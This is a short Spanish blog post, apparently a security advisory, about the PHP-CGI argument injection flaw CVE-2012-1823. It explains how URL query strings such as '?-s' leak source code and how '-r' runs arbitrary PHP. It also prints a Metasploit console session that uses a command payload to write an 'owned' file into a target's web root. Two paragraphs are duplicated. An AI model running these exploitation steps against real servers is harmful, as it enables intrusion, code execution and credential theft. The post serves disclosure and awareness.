Las sitios afectados son servidores web con PHP ejecutándose como CGI.
Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI (CVE-2012-1823) que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena '?-s'.
Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI (CVE-2012-1823) que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena '?-s'.
Como resultado de la inyección de estos parámetros en la URL, se puede mostrar el contenido de archivos de código fuente (que puede incluir información confidencial como, por ejemplo, contraseñas de BBDD) o ejecutar código PHP arbitrario.
Aunque el parámetro '-r', para ejecutar código PHP, es filtrado en php5-cgi, dependiendo de las variables de entorno, esta medida de seguridad puede evitarse. PHP eliminó por error el código que protegía ante este problema en 2004.
Aunque el parámetro '-r', para ejecutar código PHP, es filtrado en php5-cgi, dependiendo de las variables de entorno, esta medida de seguridad puede evitarse. PHP eliminó por error el código que protegía ante este problema en 2004.
Ya existen módulos para Metasploit (use exploit/multi/http/php_cgi_arg_injection):
$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set RHOST 192.168.178.210
msf exploit(php_cgi_arg_injection) > set TARGETURI /phpinfo.php
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/exec
msf exploit(php_cgi_arg_injection) > set CMD echo \"owned\">/var/www/html/owned.html
msf exploit(php_cgi_arg_injection) > exploit
Vídeo demostrativo:
Fuente: http://cert.inteco.es/
Vídeo: http://eromang.zataz.com/
Referencias y más información:
0 Notaciones:
Publicar un comentario